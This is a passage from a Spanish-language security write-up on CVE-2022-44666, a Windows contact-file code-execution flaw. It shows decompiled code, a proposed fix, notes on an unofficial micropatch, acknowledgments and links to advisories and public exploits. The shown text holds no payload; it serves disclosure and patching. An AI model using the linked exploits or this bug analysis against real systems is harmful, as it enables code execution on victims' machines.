v29 = v7;
if ( v32 )
{
v30 = v23;
goto LABEL_44;
}
}
...
La función "IsInternetAddress" fue creada intencionalmente para verificar si el atributo href corresponde a alguna dirección de correo electrónico. Entonces, mi solución propuesta (y siguiendo las funciones importadas que utiliza la biblioteca) sería:```cpp ... if (v32 && !(unsigned int)StrCmpNICW(L"mailto:", v23, 7i64)) // Check out the href really starts with "mailto:" { v30 = v23; goto LABEL_44; } ...
Tan simple como esto, solo es necesario verificar esto antes de llamar a "SafeExecute". Simplemente comprobando si la cadena de destino (v23) comienza con "mailto:", el error se solucionaría por completo IMHO.
## Parche no oficial
Hace algunos días/semanas cuando contacté a [@mkolsek][R.30] de [0patch][R.23] para informarle sobre este problema, quien por cierto siempre es muy amable conmigo, me dijo que esto ha estado recibiendo [un parche no oficial para Windows 7 desde entonces][R.29] (hace 4 años). ¡Eso fue una sorpresa y una buena noticia!
Se probó y detuvo con éxito la nueva variante de CVE-2022-44666. El micropatch antepone "http://" a la cadena controlada por el atacante pasada por el atributo href si no comienza con "mailto:", "http://" o "https://", lo cual es suficiente para solucionar el problema por completo. Ahora se va a extender para las últimas versiones de Windows, solo es necesario actualizar algunos offsets.
De cualquier manera, sería mejor obtener un parche oficial.
## Agradecimientos
+ [@hyp3rlinx][R.1]: Mención y reconocimiento especial porque él comenzó esta investigación hace algunos años y su trabajo fue esencial para este informe. ~~Debería haber sido acreditado también por descubrir esto, pero desafortunadamente no pude contactarlo a tiempo~~. Ya se ha hecho (***Actualización 2023/02/08***).
+ [@Edu_Braun_0day][R.20]: quien también trabajó en torno a [este problema][R.31].
+ [@mkolsek][R.30].
+ [@matalaz][R.12].
+ [@buffaloverflow][R.19].
+ [@msftsecresponse][R.2].
+ ...
Por [@j00sean](https://twitter.com/j00sean)
[R.1]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/hyp3rlinx%3E "@hyp3rlinx"
[R.2]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/msftsecresponse%3E "@msftsecresponse"
[R.3]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/thezdi%3E "@thezdi"
[R.4]: <https://www.exploit-db.com/exploits/46222> "John Page (aka hyp3rlinx)'s exploit fully disclosed more than 4 years ago"
[R.5]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/www.zerodayinitiative.com/advisories/ZDI-19-121/%3E "ZDI-19-121"
[R.6]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/docs.microsoft.com/en-us/windows/win32/controls/syslink-overview%3E "MS Documentation about syslink controls"
[R.7]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/www.mozilla.org/en-US/security/advisories/mfsa2022-24/#CVE-2022-34478> "CVE-2022-34478: search-ms disabling for Mozilla Firefox"
[R.8]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/docs.bmc.com/docs/fpsc121/ldap-attributes-and-associated-fields-495323340.html%3E "LDIF attributes and associated fields documentation"
[R.9]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/ldaptor.readthedocs.io/en/latest/quickstart.html#ldap-server-quick-start> "ldaptor server quick start"
[R.10]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/msrc.microsoft.com/update-guide/vulnerability/CVE-2022-44666%3E "CVE-2022-44666"
[R.11]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/github.com/joxeankoret/diaphora%3E "Diaphora"
[R.12]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/matalaz%3E "@matalaz"
[R.13]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/learn.microsoft.com/en-us/windows/win32/api/shlwapi/nf-shlwapi-urlisw%3E "UrlIsW function"
[R.14]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190%3E "CVE-2022-30190"
[R.15]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/www.bleepingcomputer.com/news/security/new-microsoft-office-zero-day-used-in-attacks-to-execute-powershell%3E "Follina vulnerability"
[R.16]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/msrc.microsoft.com/update-guide/vulnerability/CVE-2022-34713%3E "CVE-2022-34713"
[R.17]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/www.bleepingcomputer.com/news/microsoft/microsoft-patches-windows-dogwalk-zero-day-exploited-in-attacks%3E "DogWalk vulnerability"
[R.18]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/buffaloverflow/status/1534445288332701697%3E "Diagcab files"
[R.19]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/buffaloverflow%3E "@buffaloverflow"
[R.20]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/edu_braun_0day%3E "@Edu_Braun_0day"
[R.21]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/decoder.cloud/2018/02/02/getting-system%3E "Parent process technique"
[R.22]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/github.com/decoder-it/psgetsystem%3E "Getsystem via parent process"
[R.23]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/0patch.com%3E "0patch"
[R.24]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/pfiatde%3E "@pfiatde"
[R.25]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/badoption.eu/blog/2023/06/01/zipjar.html%3E "ZipJar, a little bit unexpected attack chain"
[R.26]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/github.com/arntsonl/calc_security_poc/tree/master/jar%3E "calc_security_poc"
[R.27]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/microlovu%3E "@microlovu"
[R.28]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/mlftsecresponse%3E "@mlftsecresponse"
[R.29]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/blog.0patch.com/2019/01/one-two-three-micropatches-for-three.html%3E "Micropatch released 4 years ago"
[R.30]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/mkolsek%3E "@mkolsek"
[R.31]: <https://packetstormsecurity.com/files/151267/Microsoft-Windows-VCF-Arbitrary-Code-Execution.html> "Microsoft Windows VCF or Contact' File - URL Manipulation-Spoof Arbitrary Code Execution"
